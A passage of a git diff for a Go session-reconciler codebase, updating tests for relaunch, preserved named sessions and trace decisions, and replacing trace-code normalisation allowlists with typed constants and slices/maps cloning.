+	// speculative-key cleanup fold with the other aborts but had no direct test.
+	// Trip the gate by leaving storedLaunch equal to the prepared launch hash
+	// (launch-unchanged) so it falls back to a full restart before Relaunch, and
+	// assert it clears the speculative key.
+	t.Run("anti-skew abort clears speculative key", func(t *testing.T) {
+		env, tp, session, storedHash, currentHash, storedProvision, _ := newDriftEnv(t, "", false)
+		// prepared.launchHash == storedLaunchHash → launch-unchanged skew → abort.
+		preparedLaunch := runtime.LaunchFingerprint(sessionCoreConfigForHash(tp, session))
+		if relaunched := callRelaunch(env, tp, &session, storedHash, currentHash, storedProvision, preparedLaunch); relaunched {
+			t.Fatalf("relaunched = true, want false (anti-skew → full restart); stderr=%s", env.stderr.String())
+		}
+		if got := env.sp.CountCalls("Relaunch", "worker"); got != 0 {
+			t.Errorf("Relaunch calls = %d, want 0 (anti-skew aborts before Relaunch); stderr=%s", got, env.stderr.String())
+		}
+		assertSpeculativeKeyCleared(t, env, &session)
+	})
+
+	// A real resume key that predated preparation names an actual prior
+	// conversation, so a relaunch-failure abort must leave it intact for the
+	// fallback to resume (hadResumeKeyBeforePrepare is true → no clear).
+	t.Run("real prior resume key is preserved when relaunch fails", func(t *testing.T) {
+		const priorKey = "warm-conversation"
+		env, tp, session, storedHash, currentHash, storedProvision, storedLaunch := newDriftEnv(t, priorKey, true)
+		if relaunched := callRelaunch(env, tp, &session, storedHash, currentHash, storedProvision, storedLaunch); relaunched {
+			t.Fatalf("relaunched = true, want false; stderr=%s", env.stderr.String())
+		}
+		if got := strings.TrimSpace(session.Metadata["session_key"]); got != priorKey {
+			t.Errorf("raw bead session_key = %q, want preserved %q", got, priorKey)
+		}
+	})
+}
diff --git a/cmd/gc/session_reconciler_restart_request_test.go b/cmd/gc/session_reconciler_restart_request_test.go
index 6bce294de7..507576b068 100644
--- a/cmd/gc/session_reconciler_restart_request_test.go
+++ b/cmd/gc/session_reconciler_restart_request_test.go
@@ -436,7 +436,7 @@ func TestReconcileSessionBeads_RestartRequestClearsCircuitBreakerForNextWake(t *
 		"session_key":                "original-key",
 		"started_config_hash":        "hash-before-restart",
 	})
-	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(env.store), &session, cb, identity, base); err != nil {
+	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(env.store), session.ID, cb, identity, base); err != nil {
 		t.Fatalf("persist circuit metadata: %v", err)
 	}
 	if err := env.sp.Start(context.Background(), sessionName, runtime.Config{Command: "true"}); err != nil {
diff --git a/cmd/gc/session_reconciler_test.go b/cmd/gc/session_reconciler_test.go
index 43fd66aece..072bce6667 100644
--- a/cmd/gc/session_reconciler_test.go
+++ b/cmd/gc/session_reconciler_test.go
@@ -2443,7 +2443,7 @@ func TestFinalizeDrainAckStoppedSessionDoesNotEmitEventsWhenFinalMetadataFails(t
 
 	failingStore := &failSetMetadataBatchStore{Store: env.store, err: errors.New("metadata write failed")}
 	finalizeDrainAckStoppedSession(
-		"", env.cfg, failingStore, nil, &session, "worker", false,
+		"", env.cfg, failingStore, nil, &session, sessionpkg.InfoFromPersistedBead(session), "worker", false,
 		newFakeDrainOps(), env.dt, env.clk, env.rec, &env.stderr,
 	)
 
@@ -2470,7 +2470,7 @@ func TestFinalizeDrainAckStoppedSessionFallsThroughWhenCloseGateRacesWithAssignm
 
 	racingStore := &assignOnListStore{Store: env.store, sessionID: session.ID}
 	finalizeDrainAckStoppedSession(
-		"", env.cfg, racingStore, nil, &session, "worker", true,
+		"", env.cfg, racingStore, nil, &session, sessionpkg.InfoFromPersistedBead(session), "worker", true,
 		newFakeDrainOps(), env.dt, env.clk, env.rec, &env.stderr,
 	)
 
@@ -3923,7 +3923,7 @@ func reconcileExistingAsleepNamedSessionWithRoutedWork(t *testing.T, cfg *config
 	if err != nil {
 		t.Fatalf("loadSessionBeads: %v", err)
 	}
-	poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessions, dsResult.ScaleCheckCounts))
+	poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessionInfosFromBeads(sessions), dsResult.ScaleCheckCounts))
 	if poolDesired == nil {
 		poolDesired = make(map[string]int)
 	}
@@ -5619,6 +5619,46 @@ func TestReconcileSessionBeads_PreservedConfiguredNamedRateLimitRunsBeforeHeal(t
 	}
 }
 
+// TestResolvePreservedConfiguredNamedSessionTemplate_StoreOnlyClosedDuplicateExcluded
+// pins the one behavior the Step-4 infoByID feed can touch: the GC_SESSION_ID
+// resolution scan (template_resolve.go Step 7) picks the FIRST OpenInfos entry
+// whose session_name matches. A store-only-closed twin (info.Closed=true but a
+// live raw Status) sharing the preserved session's session_name, placed EARLIER
+// in the feed, must be filtered out by newSessionBeadSnapshotFromInfos so the
+// live preserved bead — not the closed twin — resolves GC_SESSION_ID.
+func TestResolvePreservedConfiguredNamedSessionTemplate_StoreOnlyClosedDuplicateExcluded(t *testing.T) {
+	env := newReconcilerTestEnv()
+	env.cfg = &config.City{
+		SessionSleep:  config.SessionSleepConfig{InteractiveResume: "60s"},
+		Workspace:     config.Workspace{Name: "test-city"},
+		Agents:        []config.Agent{{Name: "worker", StartCommand: "true", MaxActiveSessions: intPtr(2)}},
+		NamedSessions: []config.NamedSession{{Template: "worker", Mode: "on_demand"}},
+	}
+	sessionName := config.NamedSessionRuntimeName(env.cfg.Workspace.Name, env.cfg.Workspace, "worker")
+	session := env.createSessionBead(sessionName, "worker")
+	env.markSessionActive(&session)
+	env.setSessionMetadata(&session, map[string]string{
+		namedSessionMetadataKey:      "true",
+		namedSessionIdentityMetadata: "worker",
+		namedSessionModeMetadata:     "on_demand",
+	})
+	sessionInfo := sessionpkg.InfoFromPersistedBead(session)
+
+	// A store-only-closed twin sharing the same session_name, earlier in the
+	// feed. It would win the first-match GC_SESSION_ID scan if not filtered.
+	closedTwin := sessionInfo
+	closedTwin.ID = "closed-twin"
+	closedTwin.Closed = true
+
+	preservedTP, err := resolvePreservedConfiguredNamedSessionTemplate(".", env.cfg.Workspace.Name, env.cfg, env.sp, env.store, []sessionpkg.Info{closedTwin, sessionInfo}, sessionInfo, env.clk, io.Discard)
+	if err != nil {
+		t.Fatalf("resolve preserved named session: %v", err)
+	}
+	if got := preservedTP.Env["GC_SESSION_ID"]; got != session.ID {
+		t.Fatalf("GC_SESSION_ID = %q, want the live preserved bead ID %q (store-only-closed twin must be filtered from the feed)", got, session.ID)
+	}
+}
+
 func TestReconcileSessionBeads_PreservedRunningNamedSessionStillIdleDrains(t *testing.T) {
 	env := newReconcilerTestEnv()
 	env.cfg = &config.City{
@@ -5637,7 +5677,8 @@ func TestReconcileSessionBeads_PreservedRunningNamedSessionStillIdleDrains(t *te
 		namedSessionIdentityMetadata: "worker",
 		namedSessionModeMetadata:     "on_demand",
 	})
-	preservedTP, err := resolvePreservedConfiguredNamedSessionTemplate(".", env.cfg.Workspace.Name, env.cfg, env.sp, env.store, []beads.Bead{session}, session, env.clk, io.Discard)
+	sessionInfo := sessionpkg.InfoFromPersistedBead(session)
+	preservedTP, err := resolvePreservedConfiguredNamedSessionTemplate(".", env.cfg.Workspace.Name, env.cfg, env.sp, env.store, []sessionpkg.Info{sessionInfo}, sessionInfo, env.clk, io.Discard)
 	if err != nil {
 		t.Fatalf("resolve preserved named session: %v", err)
 	}
@@ -6762,8 +6803,8 @@ func TestTraceHealClearedPendingCreateLeaseRecordsDecision(t *testing.T) {
 	if rec.OutcomeCode != TraceOutcomeApplied {
 		t.Fatalf("outcome = %q, want %q", rec.OutcomeCode, TraceOutcomeApplied)
 	}
-	if got := rec.Fields["raw_reason_code"]; got != "heal_cleared_stale_lease" {
-		t.Fatalf("raw_reason_code = %#v, want heal_cleared_stale_lease", got)
+	if rec.ReasonCode != TraceReasonHealClearedStaleLease {
+		t.Fatalf("reason = %q, want %q", rec.ReasonCode, TraceReasonHealClearedStaleLease)
 	}
 	if got := rec.Fields["state_before"]; got != "creating" {
 		t.Fatalf("state_before = %#v, want creating", got)
@@ -6773,6 +6814,56 @@ func TestTraceHealClearedPendingCreateLeaseRecordsDecision(t *testing.T) {
 	}
 }
 
+// TestRecordDecisionKeepsBackfilledCodesTyped proves the S26 collapse: codes
+// that the deleted normalize allowlists used to silently rewrite to "unknown"
+// (dumping the real value into a raw_*_code field) now land directly in the
+// typed primary fields, with no raw_*_code shadow left behind.
+func TestRecordDecisionKeepsBackfilledCodesTyped(t *testing.T) {
+	trace := &sessionReconcilerTraceCycle{
+		tracer: &SessionReconcilerTracer{
+			detail: map[string]TraceSource{"repo/worker": TraceSourceManual},
+		},
+		dropReasons:       map[string]int{},
+		pendingDetail:     map[string][]SessionReconcilerTraceRecord{},
+		pendingDropped:    map[string]int{},
+		templatesTouched:  map[string]struct{}{},
+		detailedTemplates: map[string]struct{}{},
+		decisionCounts:    map[string]int{},
+		operationCounts:   map[string]int{},
+		mutationCounts:    map[string]int{},
+		reasonCounts:      map[string]int{},
+		outcomeCounts:     map[string]int{},
+	}
+
+	trace.RecordDecision(
+		TraceSiteReconcilerDrainAck,
+		TraceReasonConfigDriftAttached,
+		TraceOutcomeCancelReconcilerAck,
+		"repo/worker",
+		"worker-1",
+		nil,
+	)
+
+	if len(trace.records) != 1 {
+		t.Fatalf("records = %d, want 1", len(trace.records))
+	}
+	rec := trace.records[0]
+	if rec.SiteCode != TraceSiteReconcilerDrainAck {
+		t.Fatalf("site = %q, want %q", rec.SiteCode, TraceSiteReconcilerDrainAck)
+	}
+	if rec.ReasonCode != TraceReasonConfigDriftAttached {
+		t.Fatalf("reason = %q, want %q", rec.ReasonCode, TraceReasonConfigDriftAttached)
+	}
+	if rec.OutcomeCode != TraceOutcomeCancelReconcilerAck {
+		t.Fatalf("outcome = %q, want %q", rec.OutcomeCode, TraceOutcomeCancelReconcilerAck)
+	}
+	for _, k := range []string{"raw_site_code", "raw_reason_code", "raw_outcome_code"} {
+		if _, ok := rec.Fields[k]; ok {
+			t.Fatalf("field %q present, want absent", k)
+		}
+	}
+}
+
 func TestReconcileSessionBeads_RollsBackPendingCreateWhenConflictingRuntimeAlreadyRunning(t *testing.T) {
 	store := beads.NewMemStore()
 	sp := runtime.NewFake()
@@ -9230,7 +9321,7 @@ func TestReconcileSessionBeads_FileStoreAlwaysNamedRecoversWithLeakedDuplicateOp
 	if err != nil {
 		t.Fatalf("loadSessionBeads: %v", err)
 	}
-	poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessions, dsResult.ScaleCheckCounts))
+	poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessionInfosFromBeads(sessions), dsResult.ScaleCheckCounts))
 	if poolDesired == nil {
 		poolDesired = make(map[string]int)
 	}
@@ -9366,7 +9457,7 @@ func reconcileConfiguredSessionsOnce(
 	if err != nil {
 		t.Fatalf("loadSessionBeads: %v", err)
 	}
-	poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessions, dsResult.ScaleCheckCounts))
+	poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessionInfosFromBeads(sessions), dsResult.ScaleCheckCounts))
 	if poolDesired == nil {
 		poolDesired = make(map[string]int)
 	}
@@ -9878,7 +9969,7 @@ func TestReconcileSessionBeads_BuildDesiredStateSkipsFailedCreatePoolSession(t *
 				t.Fatalf("loadSessionBeads: %v", err)
 			}
 			cfgNames := configuredSessionNames(cfg, cfg.EffectiveCityName(), store)
-			poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessions, dsResult.ScaleCheckCounts))
+			poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessionInfosFromBeads(sessions), dsResult.ScaleCheckCounts))
 			if poolDesired == nil {
 				poolDesired = make(map[string]int)
 			}
@@ -10005,7 +10096,7 @@ func TestReconcileSessionBeads_SyncReplacesFailedCreateNamedSession(t *testing.T
 		t.Fatalf("fresh named-session state = %q, want start-pending", fresh.Metadata["state"])
 	}
 
-	poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessions, dsResult.ScaleCheckCounts))
+	poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessionInfosFromBeads(sessions), dsResult.ScaleCheckCounts))
 	if poolDesired == nil {
 		poolDesired = make(map[string]int)
 	}
diff --git a/cmd/gc/session_reconciler_trace_cycle.go b/cmd/gc/session_reconciler_trace_cycle.go
index a506173491..ae11dffcca 100644
--- a/cmd/gc/session_reconciler_trace_cycle.go
+++ b/cmd/gc/session_reconciler_trace_cycle.go
@@ -26,7 +26,7 @@ func (m *SessionReconcilerTracer) beginCycle(info sessionReconcilerTraceCycleInf
 	}
 	if cycle != nil && sessionBeads != nil {
 		cycle.RecordSessionBaseline("", "", traceRecordPayload{
-			"open_count": len(sessionBeads.Open()),
+			"open_count": len(sessionBeads.OpenInfos()),
 		})
 		_ = cycle.flushCurrentBatch(TraceDurabilityDurable)
 	}
@@ -51,29 +51,6 @@ func (c *SessionReconcilerTraceCycle) sourceFor(template string) string {
 	return string(TraceSourceAlwaysOn)
 }
 
-func (c *SessionReconcilerTraceCycle) recordDecision(siteCode, template, sessionName, reason, outcome string, data traceRecordPayload, _ []string, _ string) {
-	if c == nil {
-		return
-	}
-	fields := make(map[string]any, len(data))
-	for k, v := range data {
-		fields[k] = v
-	}
-	normSite, rawSite := normalizeTraceSiteCode(siteCode)
-	normReason, rawReason := normalizeTraceReasonCode(reason)
-	normOutcome, rawOutcome := normalizeTraceOutcomeCode(outcome)
-	if rawSite != "" {
-		fields["raw_site_code"] = rawSite
-	}
-	if rawReason != "" {
-		fields["raw_reason_code"] = rawReason
-	}
-	if rawOutcome != "" {
-		fields["raw_outcome_code"] = rawOutcome
-	}
-	c.RecordDecision(normSite, normReason, normOutcome, template, sessionName, fields)
-}
-
 // RecordControllerDecision records a baseline daemon-level decision that is
 // not scoped to a specific session template.
 func (c *SessionReconcilerTraceCycle) RecordControllerDecision(site TraceSiteCode, reason TraceReasonCode, outcome TraceOutcomeCode, fields map[string]any) {
@@ -116,56 +93,6 @@ func (c *SessionReconcilerTraceCycle) RecordControllerOperation(site TraceSiteCo
 	c.addRecord(rec)
 }
 
-func (c *SessionReconcilerTraceCycle) recordOperation(siteCode, template, sessionName, _ string, reason, outcome string, data traceRecordPayload, _ string) {
-	if c == nil {
-		return
-	}
-	fields := make(map[string]any, len(data)+1)
-	for k, v := range data {
-		fields[k] = v
-	}
-	var duration time.Duration
-	if durMs, ok := fields["duration_ms"].(int64); ok {
-		duration = time.Duration(durMs) * time.Millisecond
-	}
-	normSite, rawSite := normalizeTraceSiteCode(siteCode)
-	normReason, rawReason := normalizeTraceReasonCode(reason)
-	normOutcome, rawOutcome := normalizeTraceOutcomeCode(outcome)
-	if rawSite != "" {
-		fields["raw_site_code"] = rawSite
-	}
-	if rawReason != "" {
-		fields["raw_reason_code"] = rawReason
-	}
-	if rawOutcome != "" {
-		fields["raw_outcome_code"] = rawOutcome
-	}
-	c.RecordOperation(normSite, normReason, normOutcome, "", template, sessionName, duration, fields)
-}
-
-func (c *SessionReconcilerTraceCycle) recordMutation(siteCode, template, _ string, targetKind, targetID, writeMethod string, before, after any, outcome string, data traceRecordPayload, _ string) {
-	if c == nil {
-		return
-	}
-	fields := make(map[string]any)
-	for k, v := range data {
-		fields[k] = v
-	}
-	fields["template"] = template
-	fields["before"] = before
-	fields["after"] = after
-	fields["field"] = writeMethod
-	normSite, rawSite := normalizeTraceSiteCode(siteCode)
-	normOutcome, rawOutcome := normalizeTraceOutcomeCode(outcome)
-	if rawSite != "" {
-		fields["raw_site_code"] = rawSite
-	}
-	if rawOutcome != "" {
-		fields["raw_outcome_code"] = rawOutcome
-	}
-	c.RecordMutation(normSite, TraceReasonUnknown, normOutcome, targetKind, targetID, writeMethod, fields)
-}
-
 func (c *SessionReconcilerTraceCycle) end(completion TraceCompletionStatus, data traceRecordPayload) {
 	if c == nil {
 		return
diff --git a/cmd/gc/session_reconciler_trace_integration_test.go b/cmd/gc/session_reconciler_trace_integration_test.go
index 0f66ede6e2..e295e9ccba 100644
--- a/cmd/gc/session_reconciler_trace_integration_test.go
+++ b/cmd/gc/session_reconciler_trace_integration_test.go
@@ -383,13 +383,9 @@ func TestSessionReconcilerTraceStartAndDrainSubOps(t *testing.T) {
 		drainTracker,
 		sp,
 		store,
-		drainLookup,
-		[]beads.Bead{drainBead},
+		infoLookupFromBeadLookup(drainLookup),
 		wakeEvals,
 		cfg,
-		map[string]int{},
-		nil,
-		nil,
 		clock.Real{},
 		cycle,
 	)
diff --git a/cmd/gc/session_reconciler_trace_test.go b/cmd/gc/session_reconciler_trace_test.go
index 57c93c84a0..07f38cb568 100644
--- a/cmd/gc/session_reconciler_trace_test.go
+++ b/cmd/gc/session_reconciler_trace_test.go
@@ -46,16 +46,6 @@ func TestTraceDetailScopesIncludesDependencies(t *testing.T) {
 	}
 }
 
-func TestNormalizeTraceOutcomeCodeAcceptsDeferredActive(t *testing.T) {
-	got, raw := normalizeTraceOutcomeCode(string(TraceOutcomeDeferredActive))
-	if got != TraceOutcomeDeferredActive {
-		t.Fatalf("outcome = %q, want %q", got, TraceOutcomeDeferredActive)
-	}
-	if raw != "" {
-		t.Fatalf("raw outcome = %q, want empty", raw)
-	}
-}
-
 func TestConfigDriftTracePayloadIncludesDriftedFields(t *testing.T) {
 	payload := configDriftTracePayload("stored", "current", []string{"CopyFiles"}, traceRecordPayload{
 		"active_reason": "attached",
diff --git a/cmd/gc/session_reconciler_trace_types.go b/cmd/gc/session_reconciler_trace_types.go
index d1a12f831e..8120f98e8e 100644
--- a/cmd/gc/session_reconciler_trace_types.go
+++ b/cmd/gc/session_reconciler_trace_types.go
@@ -4,7 +4,9 @@ import (
 	"crypto/rand"
 	"encoding/hex"
 	"fmt"
+	"maps"
 	"path/filepath"
+	"slices"
 	"strings"
 	"time"
 )
@@ -113,6 +115,21 @@ const (
 	TraceSiteLifecycleDrainAdvance          TraceSiteCode = "lifecycle.drain.advance"
 	TraceSiteSupervisorFSPressure           TraceSiteCode = "supervisor.fs_pressure"
 	TraceSiteTraceControl                   TraceSiteCode = "trace.control"
+
+	TraceSiteReconcilerPreserveConfiguredNamed   TraceSiteCode = "reconciler.session.preserve_configured_named"
+	TraceSiteReconcilerPendingCreatePreserved    TraceSiteCode = "reconciler.session.pending_create_preserved"
+	TraceSiteReconcilerCloseFailedCreate         TraceSiteCode = "reconciler.session.close_failed_create"
+	TraceSiteReconcilerDrainAck                  TraceSiteCode = "reconciler.session.drain_ack"
+	TraceSiteReconcilerTerminalProviderError     TraceSiteCode = "reconciler.session.terminal_provider_error"
+	TraceSiteReconcilerMaxSessionAge             TraceSiteCode = "reconciler.session.max_session_age"
+	TraceSiteReconcilerLiveDrift                 TraceSiteCode = "reconciler.session.live_drift"
+	TraceSiteReconcilerCircuitOpen               TraceSiteCode = "reconciler.session.circuit_open"
+	TraceSiteReconcilerCircuitTrip               TraceSiteCode = "reconciler.session.circuit_trip"
+	TraceSiteReconcilerProviderHealthGate        TraceSiteCode = "reconciler.session.provider_health_gate"
+	TraceSiteReconcilerBeadReassignCycle         TraceSiteCode = "reconciler.session.bead_reassign_cycle"
+	TraceSiteLifecycleStartTerminalProviderError TraceSiteCode = "reconciler.start.terminal_provider_error"
+	TraceSiteLifecycleStartRateLimitHold         TraceSiteCode = "reconciler.start.rate_limit_hold"
+	TraceSiteLifecycleShutdownPreserveSessions   TraceSiteCode = "lifecycle.shutdown.preserve_sessions"
 )
 
 type TraceReasonCode string
@@ -150,6 +167,29 @@ const (
 	TraceReasonNoWakeReason           TraceReasonCode = "no_wake_reason"
 	TraceReasonFSPressure             TraceReasonCode = "fs_pressure"
 	TraceReasonResetStalled           TraceReasonCode = "reset_stalled"
+
+	TraceReasonRateLimit                     TraceReasonCode = "rate_limit"
+	TraceReasonPendingCreate                 TraceReasonCode = "pending_create"
+	TraceReasonPreserve                      TraceReasonCode = "preserve"
+	TraceReasonConfigDriftAttachmentError    TraceReasonCode = "config_drift_attachment_error"
+	TraceReasonConfigDriftAttached           TraceReasonCode = "config_drift_attached"
+	TraceReasonConfigDriftRecentlyAttached   TraceReasonCode = "config_drift_recently_attached"
+	TraceReasonPending                       TraceReasonCode = "pending"
+	TraceReasonAcknowledged                  TraceReasonCode = "acknowledged"
+	TraceReasonMinFloorIdleWorker            TraceReasonCode = "min_floor_idle_worker"
+	TraceReasonLiveDrift                     TraceReasonCode = "live_drift"
+	TraceReasonCircuitOpen                   TraceReasonCode = "circuit_open"
+	TraceReasonCircuitTrip                   TraceReasonCode = "circuit_trip"
+	TraceReasonProviderRed                   TraceReasonCode = "provider_red"
+	TraceReasonHealClearedStaleLease         TraceReasonCode = "heal_cleared_stale_lease"
+	TraceReasonPendingCreateRecoveryInFlight TraceReasonCode = "pending_create_recovery_in_flight"
+	TraceReasonPendingCreateRebuildFailed    TraceReasonCode = "pending_create_rebuild_failed"
+	TraceReasonPendingCreateCommitFailed     TraceReasonCode = "pending_create_commit_failed"
+	TraceReasonPendingCreateHealed           TraceReasonCode = "pending_create_healed"
+	TraceReasonAssignedWork                  TraceReasonCode = "assigned_work"
+	TraceReasonFreshCycle                    TraceReasonCode = "fresh_cycle"
+	TraceReasonScaleCheck                    TraceReasonCode = "scale_check"
+	TraceReasonStart                         TraceReasonCode = "start"
 )
 
 type TraceOutcomeCode string
@@ -194,6 +234,34 @@ const (
 	// current FingerprintVersion (older or future binary). No drain, no
 	// event.
 	TraceOutcomeRebaselinedVersionMismatch TraceOutcomeCode = "rebaselined_version_mismatch"
+
+	TraceOutcomeRollbackDeferred    TraceOutcomeCode = "rollback_deferred"
+	TraceOutcomeKeptOpen            TraceOutcomeCode = "kept_open"
+	TraceOutcomeDeferred            TraceOutcomeCode = "deferred"
+	TraceOutcomeCancelPending       TraceOutcomeCode = "cancel_pending"
+	TraceOutcomeCancelAssignedWork  TraceOutcomeCode = "cancel_assigned_work"
+	TraceOutcomeCancelReconcilerAck TraceOutcomeCode = "cancel_reconciler_ack"
+	TraceOutcomeStopPending         TraceOutcomeCode = "stop_pending"
+	TraceOutcomeDeferredConfirm     TraceOutcomeCode = "deferred_confirm"
+	TraceOutcomeExempt              TraceOutcomeCode = "exempt"
+	TraceOutcomeRestartInPlace      TraceOutcomeCode = "restart_in_place"
+	TraceOutcomeDeferredPending     TraceOutcomeCode = "deferred_pending"
+	TraceOutcomeRepairInPlace       TraceOutcomeCode = "repair_in_place"
+	TraceOutcomeFailedCreate        TraceOutcomeCode = "failed_create"
+	TraceOutcomeStartInFlight       TraceOutcomeCode = "start_in_flight"
+	TraceOutcomeRespawnSkipped      TraceOutcomeCode = "respawn_skipped"
+	// TraceOutcomeChainWalk marks the provider-health gate failing over to an
+	// alternate provider from the configured failover_chain (vp #55), as opposed
+	// to skipping respawn when no healthy alternate exists.
+	TraceOutcomeChainWalk    TraceOutcomeCode = "chain_walk"
+	TraceOutcomeRelaunch     TraceOutcomeCode = "relaunch"
+	TraceOutcomeClear        TraceOutcomeCode = "clear"
+	TraceOutcomeUnhealthy    TraceOutcomeCode = "unhealthy"
+	TraceOutcomeRestart      TraceOutcomeCode = "restart"
+	TraceOutcomeScheduled    TraceOutcomeCode = "scheduled"
+	TraceOutcomeHoldDeferred TraceOutcomeCode = "hold_deferred"
+	TraceOutcomeHeld         TraceOutcomeCode = "held"
+	TraceOutcomeHealed       TraceOutcomeCode = "healed"
 )
 
 type TraceCompletionStatus string
@@ -360,69 +428,37 @@ func (r *SessionReconcilerTraceRecord) ensureFields() {
 
 func (r SessionReconcilerTraceRecord) clone() SessionReconcilerTraceRecord {
 	if len(r.CausedByRecordIDs) > 0 {
-		r.CausedByRecordIDs = append([]string(nil), r.CausedByRecordIDs...)
+		r.CausedByRecordIDs = slices.Clone(r.CausedByRecordIDs)
 	}
 	if len(r.TemplatesTouched) > 0 {
-		r.TemplatesTouched = append([]string(nil), r.TemplatesTouched...)
+		r.TemplatesTouched = slices.Clone(r.TemplatesTouched)
 	}
 	if len(r.AutoArmsTriggered) > 0 {
-		r.AutoArmsTriggered = append([]string(nil), r.AutoArmsTriggered...)
+		r.AutoArmsTriggered = slices.Clone(r.AutoArmsTriggered)
 	}
 	if len(r.DropReasonCounts) > 0 {
-		cp := make(map[string]int, len(r.DropReasonCounts))
-		for k, v := range r.DropReasonCounts {
-			cp[k] = v
-		}
-		r.DropReasonCounts = cp
+		r.DropReasonCounts = maps.Clone(r.DropReasonCounts)
 	}
 	if len(r.DecisionCounts) > 0 {
-		cp := make(map[string]int, len(r.DecisionCounts))
-		for k, v := range r.DecisionCounts {
-			cp[k] = v
-		}
-		r.DecisionCounts = cp
+		r.DecisionCounts = maps.Clone(r.DecisionCounts)
 	}
 	if len(r.OperationCounts) > 0 {
-		cp := make(map[string]int, len(r.OperationCounts))
-		for k, v := range r.OperationCounts {
-			cp[k] = v
-		}
-		r.OperationCounts = cp
+		r.OperationCounts = maps.Clone(r.OperationCounts)
 	}
 	if len(r.MutationCounts) > 0 {
-		cp := make(map[string]int, len(r.MutationCounts))
-		for k, v := range r.MutationCounts {
-			cp[k] = v
-		}
-		r.MutationCounts = cp
+		r.MutationCounts = maps.Clone(r.MutationCounts)
 	}
 	if len(r.ReasonCounts) > 0 {
-		cp := make(map[string]int, len(r.ReasonCounts))
-		for k, v := range r.ReasonCounts {
-			cp[k] = v
-		}
-		r.ReasonCounts = cp
+		r.ReasonCounts = maps.Clone(r.ReasonCounts)
 	}
 	if len(r.OutcomeCounts) > 0 {
-		cp := make(map[string]int, len(r.OutcomeCounts))
-		for k, v := range r.OutcomeCounts {
-			cp[k] = v
-		}
-		r.OutcomeCounts = cp
+		r.OutcomeCounts = maps.Clone(r.OutcomeCounts)
 	}
 	if len(r.DemandSummary) > 0 {
-		cp := make(map[string]any, len(r.DemandSummary))
-		for k, v := range r.DemandSummary {
-			cp[k] = v
-		}
-		r.DemandSummary = cp
+		r.DemandSummary = maps.Clone(r.DemandSummary)
 	}
 	if len(r.Fields) > 0 {
-		cp := make(map[string]any, len(r.Fields))
-		for k, v := range r.Fields {
-			cp[k] = v
-		}
-		r.Fields = cp
+		r.Fields = maps.Clone(r.Fields)
 	}
 	return r
 }
@@ -540,168 +576,6 @@ func normalizedTraceTemplate(v string) string {
 	return strings.TrimSpace(filepath.Clean(v))
 }
 
-func normalizeTraceSiteCode(raw string) (TraceSiteCode, string) {
-	raw = strings.TrimSpace(raw)
-	switch raw {
-	case "reconciler.session.unknown_state":
-		return TraceSiteReconcilerUnknownState, ""
-	case "reconciler.session.pending_create":
-		return TraceSiteReconcilerPendingCreate, ""
-	case "reconciler.session.wake":
-		return TraceSiteReconcilerWakeDecision, ""
-	case "reconciler.session.drain":
-		return TraceSiteReconcilerDrainDecision, ""
-	}
-	switch TraceSiteCode(raw) {
-	case TraceSiteUnknown,
-		TraceSiteScaleCheckExec,
-		TraceSiteCycleStart,
-		TraceSiteCycleFinish,
-		TraceSiteConfigReload,
-		TraceSiteControllerTickPhase,
-		TraceSiteDesiredStateBuild,
-		TraceSiteDemandSnapshot,
-		TraceSiteOrderDispatch,
-		TraceSitePoolDemandCompute,
-		TraceSiteSessionSnapshot,
-		TraceSiteSessionSync,
-		TraceSiteSessionReconcileBuildDeps,
-		TraceSiteSessionReconcileHealRetire,
-		TraceSiteSessionReconcileTopoOrder,
-		TraceSiteSessionReconcileCircuitBreaker,
-		TraceSiteSessionReconcileForwardPass,
-		TraceSiteSessionReconcileAwakeSet,
-		TraceSiteSessionReconcileWakeSleep,
-		TraceSiteSessionReconcileStartExecution,
-		TraceSiteSessionReconcileDrainAdvance,
-		TraceSitePoolAgentCap,
-		TraceSitePoolRigCap,
-		TraceSitePoolWorkspaceCap,
-		TraceSitePoolAccept,
-		TraceSitePoolMinFill,
-		TraceSitePoolInFlightReuse,
-		TraceSitePoolWakeKnownIdentity,
-		TraceSitePoolNewDemandCap,
-		TraceSiteReconcilerUnknownState,
-		TraceSiteReconcilerOrphaned,
-		TraceSiteReconcilerCloseOrphan,
-		TraceSiteReconcilerPendingCreate,
-		TraceSiteReconcilerConfigDrift,
-		TraceSiteReconcilerIdleDrain,
-		TraceSiteReconcilerIdleTimeout,
-		TraceSiteReconcilerResetStalled,
-		TraceSiteReconcilerProgressStallExempt,
-		TraceSiteReconcilerWakeDecision,
-		TraceSiteReconcilerDrainDecision,
-		TraceSiteDrainStale,
-		TraceSiteDrainComplete,
-		TraceSiteDrainCancel,
-		TraceSiteDrainTimeout,
-		TraceSiteMutationBeadMetadata,
-		TraceSiteMutationRuntimeMeta,
-		TraceSiteLifecycleStartRollback,
-		TraceSiteLifecycleStartFailed,
-		TraceSiteLifecycleStartRun,
-		TraceSiteLifecycleStartPrepare,
-		TraceSiteLifecycleStartExecute,
-		TraceSiteLifecycleStartCommit,
-		TraceSiteLifecycleDrainBegin,
-		TraceSiteLifecycleDrainAdvance,
-		TraceSiteSupervisorFSPressure,
-		TraceSiteTraceControl:
-		return TraceSiteCode(raw), ""
-	default:
-		return TraceSiteUnknown, raw
-	}
-}
-
-func normalizeTraceReasonCode(raw string) (TraceReasonCode, string) {
-	raw = strings.TrimSpace(raw)
-	switch raw {
-	case "config-drift":
-		return TraceReasonConfigDrift, ""
-	case "store-partial":
-		return TraceReasonStorePartial, ""
-	case "no-wake-reason":
-		return TraceReasonNoWakeReason, ""
-	}
-	switch TraceReasonCode(raw) {
-	case TraceReasonUnknown,
